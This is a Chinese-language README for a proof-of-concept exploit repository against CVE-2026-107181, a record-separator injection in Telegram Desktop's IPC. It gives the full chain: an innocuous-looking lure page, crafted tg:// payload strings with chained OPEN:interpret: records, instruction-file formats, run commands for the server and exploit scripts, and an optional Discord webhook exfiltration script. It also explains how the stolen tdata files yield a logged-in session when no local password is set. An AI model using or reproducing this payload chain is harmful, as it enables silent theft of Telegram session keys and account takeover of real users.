针对 CVE-2026-107181 的概念验证漏洞利用:Telegram Desktop <7.2.9 中的 IPC 记录分隔符注入漏洞,可通过精心构造的 tg:// interpret: 链接窃取 tdata 会话密钥。
Telegram Desktop 7.2.9 之前版本中的 IPC 记录分隔符注入。点击一个 https 链接就会变成 interpret:,正在运行的客户端会将本地文件(包括 tdata 会话密钥)上传到攻击者控制的聊天中。
| CVE | CVE-2026-107181 |
| 受影响 | Telegram Desktop < 7.2.9(已确认 Windows 7.2.8 / 6.9.3) |
| 修复 | 7.2.9 |
| 类型 | CWE-143(记录分隔符)+ interpret: 缺少认证 |
| CVSS 3.1 | 8.1 高危(AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N) |
Pages 站点(本仓库):仅 hello world。无转储、无密钥、无主机凭据。
Telegram Desktop 注册了 tg://。如果在一个实例已运行时启动第二个 Telegram.exe,它不会成为第二个客户端。它会连接到本地单实例套接字,并将 URL 作为文本发送:
OPEN:<url>;
sandbox.cpp 将该记录与一个原始分号拼接,且从不对该值进行转义。实际运行的实例会按 ; 拆分缓冲区。因此,一个包含分号的 URL 会被视为不止一条记录:
tg://x?a=1;OPEN:interpret:instructions.txt
第二个进程进行序列化:
OPEN:tg://x?a=1;OPEN:interpret:instructions.txt;
第一个进程解析两条 OPEN: 记录。占位的 tg://x?a=1 是垃圾数据。interpret: 则不是。
interpret: 是 Telegram 自身发布发布器(Telegram/build/updates.py)遗留下来的。Support::InterpretSendPath 读取一个小文本文件,并在没有任何提示、也不检查请求者身份的情况下,将 file: 发送到 channel::
channel: 2001234567
file: tdata/key_datas
caption: key_datas
from: 是可选的。省略它,账户 ID 检查就永远不会运行。目标必须是一个频道或超级群组(peerFromChannel)。基础群组或受害者无法在其中发帖的广播频道将会失败。
指令文件必须已经存在于客户端能够打开的磁盘路径上。群组中的默认自动下载会将附件放在这里:
C:\Users\<user>\Downloads\Telegram Desktop\<name>
在标准 Windows 安装中,Telegram 的当前工作目录(cwd)是 %APPDATA%\Telegram Desktop。相对路径 interpret: 会从该目录解析,因此无需知道用户名:
interpret:../../../Downloads/Telegram%20Desktop/tdi_aaa_1.txt
一个指令文件发送一个 file:(最后一行 file: 生效)。在同一链接中可叠加更多 OPEN:interpret: 记录。
tdata 布局在每个原厂安装中均相同(D877F783D5D3EF8C 是 "data" 的 md5):
tdata/key_datas salt + wrapped DEK
tdata/D877F783D5D3EF8Cs MTProto auth, wrapped with the DEK
tdata/D877F783D5D3EF8C/maps account index
没有本地密码 ⇒ KEK 由空字符串加上 key_datas 中的盐派生而来。这三个文件构成一个已登录会话。
聊天内的 tg:// 在进程内处理,绝不会触及套接字。诱饵必须是系统浏览器中的一个 https 页面,该页面随后会导航到精心构造的 tg://。本仓库生成的诱饵是:
Telegram CVE-2026-107181
Hey hello world.
以及 location.replace(tg://...)。
historyLoaded 中(他们已打开过它)。InterpretSendPath 使用相对于当前工作目录的 QFile。便携版构建 / 自定义 -workdir 会改变 ../../../Downloads/... 的计算方式。interpret:,并对 IPC 分隔符进行百分号编码。已在 7.2.9 中发布。更新日志仅提到了一项渲染修复。
公开页面是 hello world。服务器在其后注入 tg:// 载荷。
| 文件 | 说明 |
|---|---|
server.py | HTTP 诱饵:/ hello world + JS 跳转,/r 302,/payload 原始 URL |
exploit.py | 构建 LF 指令文件,写入 out/index.html,可提供服务并监视 |
discord_exfil.py | 可选:将战利品 POST 到 DISCORD_WEBHOOK(仓库中无 URL) |
nginx.example.conf | 反向代理示例 |
.env.example | CHANNEL_ID、PUBLIC_URL、DISCORD_WEBHOOK 占位符 |
index.html | GitHub Pages:仅 hello world |
copy .env.example .env
# edit CHANNEL_ID (and DISCORD_WEBHOOK if you want Discord)
python server.py --channel 2001234567 --host 0.0.0.0 --port 8080
python exploit.py --channel 2001234567 --watch
密钥不要提交到 git:webhook、主机密码、tdata、SSH 密钥。请将这些内容放入 .env / webhook.url(已被 gitignore 忽略)。
out/tdi_*.txt 文件作为附件上传。Downloads\Telegram Desktop\ 中。tdata/key_datas、D877F783D5D3EF8Cs 和 maps 上传到该超级群组中。指令文件格式(仅 LF,无 BOM):
channel: <mtproto channel id>
file: tdata/key_datas
caption: key_datas
载荷结构:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/tdi_aaa_1.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/tdi_aaa_2.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/tdi_aaa_3.txt